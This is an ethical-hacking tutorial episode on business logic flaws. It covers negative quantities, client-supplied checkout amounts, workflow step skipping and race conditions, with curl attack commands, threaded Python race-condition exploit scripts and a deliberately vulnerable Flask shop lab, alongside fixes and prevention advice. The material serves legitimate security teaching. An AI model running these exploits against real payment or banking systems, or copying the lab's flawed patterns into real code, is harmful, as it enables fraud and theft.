Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
What will I learn
- Why business logic flaws are the hardest vulnerabilities to find -- and the most impactful;
- Price manipulation: changing amounts, quantities, and discount codes;
- Workflow bypass: skipping steps in multi-step processes;
- Race conditions: exploiting timing windows in concurrent operations;
- Coupon/reward abuse: double-spending, negative quantities, integer overflow;
- Why scanners can't find these bugs -- and why human testers are essential.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2;
- Python 3 with requests, Flask, and threading modules (
pip install flask requests); - The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't (this post)
Solutions to Episode 21 Exercises
Exercise 1 -- API exploitation chain:
# BOLA on users (accessing admin as user 2):
curl -H "Authorization: Bearer $TOKEN" localhost:5000/api/users/1
# Returns: admin's full data including SSN "111-22-3333"
# BOLA on orders:
curl -H "Authorization: Bearer $TOKEN" localhost:5000/api/orders/101
# Returns: admin's order for "Premium License" at $299.99
# Mass assignment to admin:
curl -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' localhost:5000/api/users/2
# Returns: user 2 with role "admin"
# User enumeration: IDs 1-3 valid, 4-10 return 404
# Total: 3 users found, all data exfiltrated
The key insight: every attack used the SAME valid token. The API confirmed identity but never checked authorization for the specific resource. Authentication without authorization is an open door with a name badge reader.
Exercise 2 -- API scanner:
import requests, time
def scan_api(base_url, token):
headers = {"Authorization": f"Bearer {token}"}
# Documentation discovery
for path in ['/docs', '/swagger.json', '/openapi.json', '/api-docs']:
r = requests.get(f"{base_url}{path}", timeout=5)
if r.status_code == 200:
print(f"[+] API docs found at {path}")
# BOLA test
for uid in range(1, 101):
r = requests.get(f"{base_url}/api/users/{uid}", headers=headers, timeout=5)
if r.status_code == 200:
data = r.json()
sensitive = [k for k in data if k in ['ssn','password','secret','salary']]
if sensitive:
print(f"[!] User {uid}: exposes {sensitive}")
# Rate limit test
codes = []
for _ in range(100):
r = requests.get(f"{base_url}/api/users/1", headers=headers, timeout=5)
codes.append(r.status_code)
if 429 not in codes:
print("[!] No rate limiting detected (100 requests, no 429)")
The key insight: automated API scanning catches the mechanical vulnerabilities (BOLA, data exposure, missing rate limits) but cannot find business logic flaws -- those require human understanding of the application's purpose. Which is exactly what this episode is about.
Exercise 3 -- Secure API fixes:
# BOLA fix: check ownership
@app.route('/api/users/')
def get_user(uid):
payload = verify_token(request)
if payload['user_id'] != uid and payload['role'] != 'admin':
return jsonify({"error": "Forbidden"}), 403
# ... rest of handler
# Response filtering: only return safe fields
SAFE_FIELDS = {'id', 'name', 'email'}
return jsonify({k: v for k, v in user.items() if k in SAFE_FIELDS})
# Mass assignment: allowlist
UPDATABLE = {'name', 'email'}
filtered = {k: v for k, v in data.items() if k in UPDATABLE}
# Rate limiting: flask-limiter
from flask_limiter import Limiter
limiter = Limiter(app, default_limits=["100 per minute"])
Learn Ethical Hacking (#22) - Business Logic Flaws
Every vulnerability we've covered from episode 12 onwards has a recognizable pattern. SQL injection: inject a ' and the query breaks. XSS: inject <script> and the browser executes it. SSRF (episode 18): inject an internal URL and the server fetches it. File uploads (episode 20): upload a shell and the server runs it. CSRF, deserialization, header injection -- every single one involves sending malformed or unexpected input that the application processes incorrectly. And because these patterns are recognizable, automated scanners can find them. Burp Suite, OWASP ZAP, Nikto -- they all spray payloads at inputs and watch for signatures in the response. A 500 Internal Server Error after a ' suggests SQL injection. A reflected <script> tag in the response confirms XSS. This is pattern matching, and computers are exceptional at pattern matching.
Business logic flaws are fundamentally different. There is no injection. No malformed input. No technical exploit signature. The application receives perfectly valid data, processes it exactly as the code specifies, and returns a perfectly normal response. The problem is that what the code DOES is not what the business INTENDED. The code works. The logic doesn't.
And no scanner on this planet can find these, because finding them requires understanding what the application is supposed to do -- not just what it technically does. A scanner can verify that a login endpoint rejects invalid credentials. It cannot verify that a checkout flow should not allow negative quantities. It cannot verify that a coupon should only be redeemable once. It cannot verify that a transfer should be atomic. These are business rules, not technical constraints, and they live in requirements documents (or more realistically, in someone's head) -- not in the code ;-)
Het zijn de bugs die geen bug lijken. De code draait perfect. De logica is kapot.
Price Manipulation
Consider a standard e-commerce checkout flow:
Step 1: Add item to cart -> POST /api/cart {"product_id": 42, "quantity": 1}
Step 2: Apply discount -> POST /api/cart/discount {"code": "SAVE10"}
Step 3: Calculate total -> GET /api/cart/total
Step 4: Submit payment -> POST /api/checkout {"cart_id": "abc123"}
Normal flow, nothing unusual. But what happens if the checkout endpoint accepts a client-supplied amount?
# Normal flow -- cart total is $89.99 after discount
curl -X POST http://target/api/checkout \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "amount": 89.99}'
# Attack: what if we just... change the amount?
curl -X POST http://target/api/checkout \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "amount": 0.01}'
If the server trusts the client-supplied amount instead of recalculating from the cart, the attacker just bought a $90 item for one cent. This happens more often than you'd think -- especially with payment gateway integrations where the amount is passed as a parameter between the application and the payment processor. The developer tested it through the front-end, where the JavaScript always sends the correct total. Nobody tested it with curl.
Remember episode 21 where we talked about how attackers don't use the front-end? Same principle here. The front-end is a suggestion. curl is the truth.
Negative quantity attack:
# Add item with quantity -1
curl -X POST http://target/api/cart \
-H "Content-Type: application/json" \
-d '{"product_id": 42, "quantity": -1}'
# If the app multiplies: price * quantity = $89.99 * -1 = -$89.99
# The "order" becomes a REFUND to the attacker
The number -1 is a perfectly valid integer. No input validation rule flags it as malicious. The multiplication logic works correctly (mathematically speaking). The result is a negative total, which the payment processor interprets as a credit. The attacker didn't hack anything -- they placed an order and the system gave them money. Wowzers.
Integer overflow variant:
# Quantity that overflows a 32-bit signed integer
curl -X POST http://target/api/cart \
-H "Content-Type: application/json" \
-d '{"product_id": 42, "quantity": 2147483647}'
# In languages with fixed-width integers (C, Java without BigInteger),
# 2147483647 + 1 wraps to -2147483648
# Total: $89.99 * -2147483648 = massive negative number
Having said that, Python handles arbitrary-precision integers natively so this specific overflow won't work against a Python backend. But Java, C#, and older PHP versions are all vulnerable. The attacker doesn't need to know the backend language -- they try the overflow and see what happens. If the total goes negative or wraps to zero, the bug exists.
Workflow Bypass
Multi-step processes often validate each step independently but never verify that ALL steps completed in the correct order:
# Normal: Step 1 (identity) -> Step 2 (verify email) -> Step 3 (set password)
# Attack: skip directly to Step 3
curl -X POST http://target/api/account/set-password \
-H "Content-Type: application/json" \
-d '{"user_id": 42, "new_password": "attacker_password"}'
# If Step 3 doesn't check that Step 2 completed,
# the attacker resets any user's password without email verification
This is the same trust problem we've seen over and over since episode 11, just at a higher abstraction level. The server trusts that the client followed the correct sequence because the front-end enforces it. But the front-end is JavaScript running in the attacker's browser. They can skip steps, replay steps, reorder steps, or go backwards -- anything the API endpoints technically allow.
Where this gets really dangerous is financial workflows:
Loan application flow:
Step 1: Submit personal info -> POST /api/loan/apply
Step 2: Credit check -> POST /api/loan/credit-check
Step 3: Approve/deny -> POST /api/loan/approve
Step 4: Disberse funds -> POST /api/loan/disburse
If step 4 doesn't verify that step 3 resulted in approval (or worse, if step 4 is a separate endpoint that doesn't check step 2 at all), an attacker could potentially trigger fund disbursement without ever passing a credit check. The application's own workflow is the vulnerability.
This pattern applies to checkout flows (skip payment verification), account creation (skip email verification), KYC processes (skip identity verification), and two-factor authentication (skip the second factor). Every multi-step process is a potential workflow bypass if the backend doesn't maintain and enforce state across steps.
Race Conditions
Race conditions happen when two operations execute simultaneously and the application doesn't handle the concurrency correctly. The classic example is the check-then-act pattern -- the application checks a condition, then acts on it, but between the check and the act another request slips through:
#!/usr/bin/env python3
"""
Race condition exploit -- redeem a single-use coupon multiple times.
The server checks "is coupon used?" and "mark coupon as used"
as two separate operations. Between check and mark, other threads get through.
"""
import requests
import threading
TARGET = "http://localhost:5000/api/coupon"
COUPON = "HALFOFF"
TOKEN = "your_auth_token"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
results = []
def redeem():
resp = requests.post(TARGET, json={"code": COUPON}, headers=HEADERS, timeout=5)
results.append((resp.status_code, resp.text))
# Fire 20 redemption requests simultaneously
threads = [threading.Thread(target=redeem) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()
successes = sum(1 for code, _ in results if code == 200)
print(f"[*] Successful redemptions: {successes} / {len(results)}")
if successes > 1:
print(f"[!] RACE CONDITION: coupon redeemed {successes} times (should be 1)")
The timeline of a succesful race condition exploit:
Thread 1: Check "is coupon used?" -> No
Thread 2: Check "is coupon used?" -> No (hasn't been marked yet!)
Thread 3: Check "is coupon used?" -> No (still not marked!)
Thread 1: Mark coupon as used, apply 50% discount
Thread 2: Mark coupon as used (already marked, but check already passed), apply discount AGAIN
Thread 3: Mark coupon as used, apply discount a THIRD time
The window between "check" and "act" can be microseconds. But with 20 concurrent threads, at least a few will slip through that window. On a real server handling thousands of requests, the window is even wider because the database operations are not instant.
This exact pattern applies everywhere:
- Bank transfers: check balance, deduct amount. Two simultaneous transfers can both pass the balance check before either deduction happens -- creating money from nothing.
- Vote systems: check "has user voted?", record vote. Simultaneous requests = multiple votes from one user.
- Inventory: check "item in stock?", decrement count. Two buyers buy the last item simultaneously -- overselling.
- Bonus/reward systems: check "has bonus been claimed?", issue bonus. Simultaneous claims = multiple payouts.
The fix is atomicity -- making the check-and-act a single indivisible operation. In databases, that's a transaction with proper isolation level. In application code, that's a mutex/lock. In distributed systems... well, that's where it gets HARD, and entire PhD theses have been written about distributed consensus ;-)
The Money Transfer Race Condition
Here's a concrete example that creates money from thin air:
#!/usr/bin/env python3
"""Race condition on money transfers -- can we create money?"""
import requests
import threading
TARGET = "http://localhost:5000/api/transfer"
HEADERS = {"Content-Type": "application/json"}
results = []
def transfer():
resp = requests.post(TARGET, json={
"from": "user1", "to": "user2", "amount": 100
}, headers=HEADERS, timeout=5)
results.append((resp.status_code, resp.json()))
# user1 has $100. Transfer $100 to user2 -- 10 times simultaneously
threads = [threading.Thread(target=transfer) for _ in range(10)]
for t in threads:
t.start()
for t in threads:
t.join()
successes = sum(1 for code, _ in results if code == 200)
print(f"[*] Successful transfers: {successes} / {len(results)}")
# Check final state
resp = requests.get("http://localhost:5000/api/balances")
print(f"[*] Final balances: {resp.json()}")
# If user1 started with $100 and multiple transfers succeeded,
# total money in the system exceeds $200 -- money was created
If 5 out of 10 transfers succeed (because 5 threads read the balance as $100 before any deduction), user2 receives $500 while user1's balance goes to -$400. In a system that allows negative balances, money was literally created. In a system that doesn't allow negatives, the application might crash or silently corrupt data. Either way: the business logic is broken.
Real-World Logic Flaw Examples
Starbucks gift card (2015): A researcher discovered that transferring money between Starbucks gift cards had a race condition. By simultaneously initiating a transfer from card A to card B and card A to card C, both transfers succeeded -- effectively doubling the balance. The balance check and deduction were not atomic. Starbucks paid a $5,000 bounty and fixed the race condition with database-level locking.
Airline booking price manipulation: Some airlines calculate the price at search time, store it in the session, and charge that stored price at payment time. If the fare changes between search and payment, the user gets the original (lower) price even though the airline adjusted it upward. This isn't a bug per se -- it's a design choice to avoid surprising users with price changes during checkout. But attackers can exploit it: search for a flight, wait for a known price drop window (like Tuesdays at midnight, when many airlines adjust fares), then complete the original booking at the new lower price while keeping the premium seat assignment from the original search.
E-commerce coupon stacking: Apply coupon "10OFF" to get $10 off. Remove coupon. Apply coupon "10OFF" again. Some systems apply the discount each time without checking if the coupon was already applied during this session. The removal doesn't undo the discount -- it just removes the coupon reference from the cart display. So the $10 discount was already deducted from the total, and applying it again deducts another $10. Repeat until the total is zero or negative.
HackerOne bug bounty platform (2017): A researcher found that by manipulating the invitation link parameters during Hive's (the HackerOne platform, not the blockchain) team invitation flow, they could invite themselves to any private bug bounty program. The invitation endpoint checked whether the user had a valid invitation token but didn't verify whether the token was specifically issued TO that user. Classic authorization-vs-authentication gap, but at the workflow level rather then the API level.
Building a Logic Flaw Lab
Let's build a vulnerable e-commerce API with all four categories of business logic flaws we've discussed:
#!/usr/bin/env python3
"""
Vulnerable e-commerce API with business logic flaws.
Run this, then exploit it with the attacks from this episode.
"""
from flask import Flask, request, jsonify
import threading
app = Flask(__name__)
# In-memory "database"
balances = {"user1": 100.00, "user2": 100.00}
coupons = {"HALFOFF": {"discount": 50, "used": False}}
cart = {"items": [], "total": 0}
@app.route('/api/cart/add', methods=['POST'])
def add_to_cart():
data = request.json
quantity = data.get('quantity', 1)
price = 49.99
# FLAW 1: no validation on quantity -- negatives accepted
cart['items'].append({"product": data['product'], "quantity": quantity})
cart['total'] += price * quantity
return jsonify(cart)
@app.route('/api/coupon', methods=['POST'])
def apply_coupon():
code = request.json.get('code')
coupon = coupons.get(code)
if not coupon:
return jsonify({"error": "Invalid coupon"}), 400
if coupon['used']:
return jsonify({"error": "Already used"}), 400
# FLAW 2: check-then-act race condition
import time
time.sleep(0.01) # Simulates processing delay (widens the race window)
coupon['used'] = True
cart['total'] *= (1 - coupon['discount'] / 100)
return jsonify({"discount": f"{coupon['discount']}%", "new_total": cart['total']})
@app.route('/api/transfer', methods=['POST'])
def transfer():
data = request.json
sender = data['from']
receiver = data['to']
amount = data['amount']
# FLAW 3: no atomicity -- race condition on balance check
if balances.get(sender, 0) >= amount:
import time
time.sleep(0.01) # Widens race window for demo
balances[sender] -= amount
balances[receiver] = balances.get(receiver, 0) + amount
return jsonify({"status": "ok", "balances": balances})
return jsonify({"error": "Insufficient funds"}), 400
@app.route('/api/checkout', methods=['POST'])
def checkout():
# FLAW 4: trusts client-supplied amount instead of recalculating
data = request.json
amount = data.get('amount', cart['total'])
return jsonify({"charged": amount, "cart_total": cart['total']})
@app.route('/api/balances')
def get_balances():
return jsonify(balances)
app.run(host='0.0.0.0', port=5000, threaded=True)
Save this as logic_lab.py, run it with python3 logic_lab.py, and open a second terminal. You now have a lab with four distinct business logic flaws to exploit.
Exploiting the Lab
Let's hit all four flaws systematically:
# FLAW 1: Negative quantity
curl -s -X POST http://localhost:5000/api/cart/add \
-H "Content-Type: application/json" \
-d '{"product": "Laptop", "quantity": -1}'
# Cart total: -49.99 (the store owes YOU money)
# FLAW 4: Client-supplied checkout amount
curl -s -X POST http://localhost:5000/api/cart/add \
-H "Content-Type: application/json" \
-d '{"product": "Laptop", "quantity": 1}'
# Cart total: 49.99
curl -s -X POST http://localhost:5000/api/checkout \
-H "Content-Type: application/json" \
-d '{"amount": 0.01}'
# Charged: $0.01, cart total was $49.99
For the race conditions (flaws 2 and 3), we need the threading scripts from earlier in this episode. The coupon exploit fires 20 simultaneous requests and multiple threads will succeed. The transfer exploit sends 10 simultaneous $100 transfers from user1 (who only HAS $100) and you'll see multiple succeeding -- creating money from nothing.
Why Scanners Can NOT Find These
SQL injection has a signature: ' in input causes a SQL error. XSS has a signature: <script> in the response. SSRF has a signature: internal IP addresses in error messages. Every vulnerability class we covered in episodes 12 through 21 has a detectable pattern.
Business logic flaws have NO technical signature:
- Negative quantities are valid integers
- Skipping a step is a valid HTTP request to a valid endpoint
- Simultaneous requests are normal concurrent behavior
- Sending
amount: 0.01is valid JSON with a valid data type
The inputs are well-formed. The HTTP status codes are 200. The responses are properly formatted JSON. The vulnerability exists in the GAP between what the code does and what the business intended. A scanner would need to understand that quantities should be positive, that coupons should be single-use, that transfers should be atomic, and that checkout amounts should be server-calculated. That's not pattern matching -- that's business domain knowledge.
This is why penetration testers are not replaced by scanners. As we discussed all the way back in episode 1, the tools automate the boring parts but the human provides the understanding. A scanner can find that /api/coupon accepts POST requests with a JSON body. It cannot determine that sending 20 simultaneous POST requests should result in exactly 1 success, not 5.
Having said that, some specialized tools (like Burp Suite's Turbo Intruder extension) can automate race condition testing once the tester IDENTIFIES a potential target. The human spots the check-then-act pattern in the application logic, and then the tool fires concurrent requests to confirm it. But the identification step -- recognizing that a coupon redemption endpoint has a TOCTOU vulnerability -- that's pure human reasoning.
The AI Slop Connection
Circle back to episode 6 for a moment. We discussed how AI-generated code creates exploitable patterns because AI models optimize for "works in the happy path." Business logic flaws are the ultimate AI slop vulnerability because they are ALL about the happy path.
Ask an AI to "build an e-commerce checkout API" and it will generate code that:
- Accepts a quantity parameter (but doesn't validate it's positive)
- Implements a coupon system (but uses check-then-act without locking)
- Processes payments (but trusts the client-supplied amount)
- Implements a multi-step workflow (but doesn't enforce step ordering)
Every single one of these is a business logic flaw. The AI has no concept of adverserial use -- it builds for the cooperative user. The uncooperative user (the attacker) finds the gaps that the AI never considered. And unlike SQL injection or XSS, there's no linting rule, no static analysis tool, and no WAF rule that catches "your checkout endpoint accepts negative quantities." The defense is in the design, and AI doesn't design -- it generates.
Dit is waarom wij bestaan. Not just as pentesters, but as security-aware developers who think about what SHOULDN'T happen, not just what should.
Prevention: Thinking Like a Defender
Preventing business logic flaws requires a fundamentally different mindset from preventing injection vulnerabilities. Injection prevention is mechanical: parameterize queries, encode output, validate input against a whitelist. Business logic prevention is analytical: for every feature, ask "what could go wrong if someone uses this in a way we didn't intend?"
Concrete practices:
1. Server-side truth: Never trust client-supplied values for anything the server can calculate. Prices, totals, discounts, balances -- always recalculate server-side. The client displays; the server decides.
2. State machine enforcement: Multi-step workflows should use an explicit state machine. Each step records the current state, and each subsequent step verifies the previous state before proceeding. "Skip to step 4" fails because the state machine knows step 3 hasn't completed.
3. Atomic operations: Any check-then-act sequence on shared state must be atomic. Database transactions with SELECT ... FOR UPDATE, application-level locks, or (in distributed systems) distributed locks. If you can't make it atomic, at minimum implement idempotency so repeating the operation has no additional effect.
4. Input domain validation: Not just type validation (is this an integer?) but domain validation (is this a POSITIVE integer? is this quantity below the maximum order limit? is this amount equal to what we calculated?). Every numeric input needs both a type check and a range check.
5. Abuse case modeling: During design, explicitly model abuse cases alongside use cases. "As a user, I can apply a coupon" has an abuse case: "As an attacker, I can apply a coupon 100 times simultaneously." Write tests for the abuse cases, not just the use cases.
# Example: a simple state machine for a 3-step workflow
import time
workflows = {}
def start_workflow(user_id):
workflows[user_id] = {"state": "identity_submitted", "started": time.time()}
def verify_email(user_id):
wf = workflows.get(user_id)
if not wf or wf["state"] != "identity_submitted":
raise ValueError("Invalid workflow state -- must complete identity step first")
wf["state"] = "email_verified"
def set_password(user_id):
wf = workflows.get(user_id)
if not wf or wf["state"] != "email_verified":
raise ValueError("Invalid workflow state -- must verify email first")
wf["state"] = "password_set"
# Clean up: workflow complete
del workflows[user_id]
Exercises
Exercise 1: Set up the vulnerable e-commerce API from this episode. Exploit all four flaws: (a) add an item with negative quantity and show the cart total goes negative, (b) use the race condition to apply the HALFOFF coupon multiple times (use the threading script from this episode), (c) exploit the transfer race condition to create money from nothing (transfer $100 from user1 to user2 simultaneously 10 times -- check if total balances exceed $200), (d) submit checkout with amount 0.01 while the cart contains a $49.99 item. Document each attack and its output.
Exercise 2: Write a Python race condition testing framework called race_tester.py. It should accept: a URL, HTTP method (GET/POST/PUT), request body (JSON string), headers (dictionary), and a thread count. It fires all requests simultaneously using threading and reports: how many succeeded (200), how many failed (4xx/5xx), the response body of each, and whether the success count exceeds what should logically be possible (this last part requires a --expected-max parameter). Test it against both the coupon and transfer endpoints from the lab.
Exercise 3: Fix all four vulnerabilities in the e-commerce API: (a) validate that quantity is a positive integer and reject zero or negative values, (b) use threading.Lock() around the coupon redemption to prevent race conditions, (c) use atomic balance operations (lock around the check-and-deduct sequence) for transfers, (d) ignore client-supplied amount at checkout and always recalculate from the cart. Write a test for each fix that verifies the corresponding attack no longer works.